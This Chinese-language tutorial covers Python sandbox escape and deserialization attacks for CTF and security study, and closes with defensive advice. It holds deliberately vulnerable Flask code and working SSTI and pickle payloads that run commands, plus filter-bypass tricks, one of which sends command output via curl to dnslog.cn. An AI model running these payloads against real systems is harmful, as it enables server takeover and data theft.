聊一聊我认识的Python安全
字数 1843 2025-08-15 21:34:06
Python安全攻防:沙箱逃逸与反序列化漏洞详解
0x00 前言
Python在CTF比赛和安全研究中的应用日益广泛,本文将从原理到实践,全面剖析Python沙箱逃逸和反序列化漏洞的利用技术,涵盖Python 2和Python 3的差异,以及实际CTF题目中的解决方案。
0x01 沙箱逃逸原理及利用
一、基本原理剖析
-
Python对象模型
- 在Python中,一切皆对象
- 使用
type()检查数据类型返回<class 'XXX'> - 字符串是
str类的对象,整数是int类的对象等
-
对象属性与方法
- 通过
dir()可查看对象的成员属性和方法 - 方法和类本身也是对象
- 通过
-
全局命名空间
globals()函数获取当前可访问的变量- 基础类和方法存放在
__builtins__模块中(Python 2为__builtin__)
-
关键访问路径
- 通过函数对象的
__globals__属性可访问__builtins__ - 模块与非模块下的
__globals__访问方式不同
- 通过函数对象的
-
对象继承链
__class__获取对象所属类__bases__/__base__/__mro__获取父类__subclasses__()获取object的所有子类
二、Flask模板注入(SSTI)
漏洞示例代码:
from flask import Flask, render_template_string
app = Flask(__name__)
@app.route('/test')
def test():
content = request.args.get("content")
template = '''<div>%s</div>''' % content
return render_template_string(template)
基本利用Payload:
?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()}}
三、常见过滤绕过技术
-
过滤中括号
- 使用
__getitem__方法替代 - 示例:
__globals__.__getitem__('__builtins__')
- 使用
-
过滤引号
- 使用request.args传递参数
- 示例:
?content={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__[request.args.x]['__import__'](request.args.y).popen(request.args.z).read()}}&x=__builtins__&y=os&z=whoami
-
过滤双下划线
- 使用十六进制编码或字符串拼接
- 示例:
"\x5F\x5Fclass\x5F\x5F"代替__class__
-
过滤{{}}
- 使用
{%%}流程控制配合外带数据 - 示例:
?content={% if ''.__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['__import__']('os').popen('curl http://dnslog.cn/?a=`whoami`').read() %}1{% endif %}
- 使用
四、Flask其他安全问题
-
Session伪造攻击
- Flask使用JWT存储session
- 需要获取
SECRET_KEY才能伪造 - 获取方式:
- SSTI通过
{{config}} - 文件读取
/proc/self/environ - 爆破
- SSTI通过
-
DEBUG模式PIN码攻击
- 需要任意文件读取+DEBUG模式
- 参考:Flask Debug PIN码漏洞
五、CTF题目实例分析
-
[Flask]SSTI
- 无过滤直接注入
- Payload构造简单
-
[GYCTF2020]FlaskApp
- Base64解码处存在SSTI
- 过滤关键字使用字符串拼接绕过
-
[CSCCTF 2019 Qual]FlaskLight
- 过滤
__globals__使用request.args绕过
- 过滤
-
[pasecactf_2019]flask_ssti
- 过滤单引号、点、下划线
- 使用十六进制编码绕过
-
[PASECA2019]honey_shop
- JWT伪造攻击
- 通过任意文件读取获取
SECRET_KEY
0x02 Python反序列化漏洞利用
一、反序列化基础
-
R指令码RCE
- 最直接的利用方式
- 示例:
import pickle, os class Exp(object): def __reduce__(self): return (os.system, ('whoami',)) payload = pickle.dumps(Exp())
-
c指令码变量获取
- 当R指令被禁用时使用
- 示例:
import flag, pickle class Person(): pass payload = b'\x80\x03c__main__\nPerson\n)\x81}(Vtest\ncflag\nflag\nub.' print(pickle.loads(payload).test) # 获取flag.flag的值
-
c指令码变量修改
- 修改模块中的变量
- 示例:
import flag, pickle payload = b'\x80\x03c__main__\nflag\n}(Vflag\nVhacker\nub0Va\n.' pickle.loads(payload) print(flag.flag) # 输出被修改为"hacker"
-
__setstate__特性RCE- 当R指令被禁用时的替代方案
- 示例:
import pickle payload = b'\x80\x03c__main__\nobject\n)\x81}(V__setstate__\ncos\nsystem\nubVdir\nb.' pickle.loads(payload) # 执行dir命令
二、综合例题分析
题目特征:
- SSRF + 反序列化 + SSTI
- 禁用R指令
- 限制只能导入
__main__模块
利用链:
- 通过SSRF绕过IP限制
- 使用反序列化修改
ctf_config.name - 将SSTI Payload写入name变量
- 触发模板渲染执行代码
POC脚本:
import base64
ssti = b"[].__class__.__base__.__subclasses__()[81].__init__.__globals__['__builtins__']['__import__']('os').popen('whoami').read()"
payload = b'\x80\x03c__main__\nctf_config\n}(Vname\nV{{' + ssti + b'}}\nub0V123\n.'
payload = base64.b64encode(payload).decode('utf-8')
print(payload)
0x03 防御建议
-
针对SSTI
- 避免使用
render_template_string - 对用户输入严格过滤
- 使用安全的模板引擎
- 避免使用
-
针对反序列化
- 避免反序列化不可信数据
- 使用
RestrictedUnpickler限制可导入的模块 - 检查并过滤危险操作码
-
Session安全
- 保护
SECRET_KEY - 考虑使用更安全的session存储方式
- 保护
-
其他
- 生产环境关闭DEBUG模式
- 实施最小权限原则
0x04 总结
本文系统性地介绍了Python安全中的两大核心漏洞类型:沙箱逃逸和反序列化。从基本原理到实际利用,从简单案例到复杂场景,涵盖了Python 2和Python 3的差异,以及各种过滤绕过技术。通过深入理解这些技术原理,安全研究人员可以更好地发现和防御相关漏洞,CTF选手也能更有效地解决相关题目。